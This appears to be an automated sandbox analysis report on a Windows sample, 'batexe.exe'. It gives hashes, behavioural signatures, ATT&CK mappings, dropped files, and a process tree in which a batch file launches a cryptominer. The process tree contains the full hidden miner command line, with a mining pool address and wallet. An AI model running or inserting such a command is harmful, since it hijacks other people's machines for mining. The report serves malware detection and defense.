73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 09:19

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General

Target
batexe.exe
Size 9.4MB
Sample240218-k96gwagg47
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1084	b2e.exe
4220	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4220	cpuminer-sse2.exe
4220	cpuminer-sse2.exe
4220	cpuminer-sse2.exe
4220	cpuminer-sse2.exe
4220	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/688-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 688 wrote to memory of 1084	688	batexe.exe	83
PID 688 wrote to memory of 1084	688	batexe.exe	83
PID 688 wrote to memory of 1084	688	batexe.exe	83
PID 1084 wrote to memory of 1040	1084	b2e.exe	84
PID 1084 wrote to memory of 1040	1084	b2e.exe	84
PID 1084 wrote to memory of 1040	1084	b2e.exe	84
PID 1040 wrote to memory of 4220	1040	cmd.exe	87
PID 1040 wrote to memory of 4220	1040	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:688
- C:\Users\Admin\AppData\Local\Temp\8B58.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8B58.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8B58.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9422.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\8B58.tmp\b2e.exe
Size 2.6MB
SHA256 17efce419e4de8a67ac8e36f8da685113b13c6959180ae6bfe3a05dbb88596e1
MD5 f93bdbf2758696d167cd15bcf61128a0
SHA1 84fcb2228f26f455278aa60b9cacd010fb7da962
SHA512 c5dc0d948f69a5e1e530dfba906b498f0cc6417acae80b9126dea8ed9853952c2fe91c63dd259e8dce8eb09f306d60af544f2c1dfd7b52904bba44bd795f609a
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9E:2Vh7J/WrocAdkmBtKE
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\8B58.tmp\b2e.exe
Size 3.3MB
SHA256 5a82d3e7656c4caa2f32220c498f5eec7372ec649c88f3e85eff76a0388f1a8f
MD5 1defb188bb086addb5d5b32401ad9d08
SHA1 a085b8715fa6989eabdc2e88b487faa3bd990130
SHA512 24dd6158ae1a4e2418b9454935331b0a83dbad3603d58a619d86c6ec85afc4ad7dc007d53066aa2c8d5b91e5223410b02705d280df10a4f97753058dc50dc4e4
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPu:2Vh7J/WrocAdkmBtKCK
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\8B58.tmp\b2e.exe
Size 3.8MB
SHA256 b487f8fd1607ad1c71cd1e896f00c0b306f894bc2e0f8bff05496c9b670ed0ba
MD5 7a69624f7316e5fac68a079a6cf60a81
SHA1 447571efee607e9f5f76959049bd7c3ae6cf8c08
SHA512 0430154ea7c1c9d7aa479ae0bad090e15b009de546085b382b2fa6b4eb8ecc157a7405e56bffa1b860e2dccb7f11e9f7173d018e8b6483982baa3a135c741d93
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJI:2Vh7J/WrocAdkmBtKCLaU
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\9422.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 1024KB
SHA256 2a0237405f10841de2c9a5d337e1ae7ef626e562194dc6d096d92ae81e88aea6
MD5 1ad6167569badab73bb51c7109b56693
SHA1 85c80eff3810728aeb4af1cdfc6984facaeeb6c0
SHA512 e219d97f0dc3b5f94798dc75f5328b4e7282c420fbb4ed1b44fb1e17941486f244fa28ccd73f55fcaa299a9b2526395a6a81d20a7ff26d9fe02bad77fec68648
SSDEEP 24576:WbAAkXZfeqVZoq/QpmN/TDjzshtmB1kbQ34igDlnRJ:Wkpplb/LHkmgDlP
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 896KB
SHA256 a22f9d8fb953e4f6bc93cdcc8aa650a5a093f1dd400fdc501d5aa7b00bee0289
MD5 9f9a8fea08bacf3a1d155567fead5940
SHA1 9d9ba8746c585446f53f442b800e1eb28a0df86a
SHA512 d41a048619373832c616d48f919595ac50dfbbd68095aec008b30adde91ceeeb86326c7d412ab20d937bab7096fb8165d3da8b4fdc40a03cc32da9ee3e9dc2a2
SSDEEP 24576:WbAAkXZfeqVZoq/QpmN/TDjzshtmB1kbQ3+:Wkpplb/LHkH
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 1024KB
SHA256 1e2b0b487fca221e8095a470e0aeadf8151b008c54ec5f4c7a5b30582d88b90e
MD5 c6151ba2a5a47dc2053b8becbd8a0b68
SHA1 1f6d6821cc72fdc279db6c9ac0a4fbeec236f2f3
SHA512 c4ad99b39c67ce00f245da976fbddf54d6171b8fc33a60fc2fdaeedbf7b8615085de99069dc087c6b1890ad7a7486f559a2412dac7ab0cd301fe24867ebc1d25
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1M4:mnKt/wDm1nazZffMMcUvQlRg3Ju
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 832KB
SHA256 40729edf62213c039a1818c9adb9478aa0284bb26dd071bd1ac4de1da2470048
MD5 d33f0e6bb5e8d2b9e111a90544790dc8
SHA1 df4e81d22638d511e761744e886c33bc12096c48
SHA512 ce4ebeae054117d4de8b3fe2403d95a6d819483269f851618958e864887e9b2f42fc9c893e1aa207dfa2d94900c8f4214a67796ddeb2a80ce655d69ec290d629
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MI:mnKt/wDm1nazZffMMcUvQlRg3Jq
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 832KB
SHA256 38710a4ce8976e3e452fe43563f28f9a8259165fd68ca94f5d64f5f4a299b6ab
MD5 2bfa2b9803bf342837d2cfe9b2b57f64
SHA1 e89eec3559c4904ce523943fed97f3fa2534ab39
SHA512 d099f07ca1cb598bdd6f563d917fe3ddcf3f6f37b589f68da987426e416492acf3dbfb2e18387d9afb168308d55c9acfb568c3d31735ab307fc070ff4da93793
SSDEEP 12288:9Rgs+Gatqxo2LvmKmOmVriIvhr/5yfMVjKU:Dv+Gatwo2ZyrfvhKU
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 768KB
SHA256 896775bd33edafb0d219d1ae3e973e71aa29a4937d0252bd3a4cad074c004971
MD5 613807ad6d525aded318b643c33bc17e
SHA1 2c9a4180140838c69c20bc4047c3d2d777d3bee4
SHA512 d688b0f2570944898097dcc6acb56b3a4c901073f0ce22b5ea260b05a37fe2840d84b44e7aa74c7d73078b0e5a45c24994852f5c03f049982b6ddca6ead89539
SSDEEP 12288:9Rgs+Gatqxo2LvmKmOmVriIvhr/5yfMVG:Dv+Gatwo2ZyrfvhK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 704KB
SHA256 66f2f5bd30986e28a4c43ed44264cc56f63bd7a3ecd6aeb5845ac7bcd724aeee
MD5 ceb1ee23d68e973e400b41e7324c71b6
SHA1 0ad5540864cf9bcbf52870ba72566625ca54e67a
SHA512 51ce4a101517339cb1f5c23fc953dde73f871cec2bde8ea5c9fad9376366d7b8aadaa8668ef2f7bf9d873e8817345e4e337a7a94c42c3ddf6a168377af060e9c
SSDEEP 12288:9Rgs+Gatqxo2LvmKmOmVriIvhr/5yfMVB:Dv+Gatwo2Zyrfvh9
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 606KB
SHA256 2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
MD5 585efec1bc1d4d916a4402c9875dff75
SHA1 d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA512 b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2Zug8UYWTh4x:IrAim3Y9lrzf34z//KRwwtkIr1PzEcy8
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/688-9-0x0000000000400000-0x000000000393A000-memory.dmp

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memory/1084-8-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/1084-58-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4220-44-0x0000000070800000-0x00000000708BC000-memory.dmp

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memory/4220-46-0x0000000072840000-0x00000000728D8000-memory.dmp

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memory/4220-45-0x0000000061440000-0x000000006156B000-memory.dmp

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memory/4220-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

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memory/4220-48-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-53-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-43-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-59-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-64-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-69-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-74-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-79-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-84-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-89-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-94-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/4220-104-0x0000000000400000-0x0000000000667000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads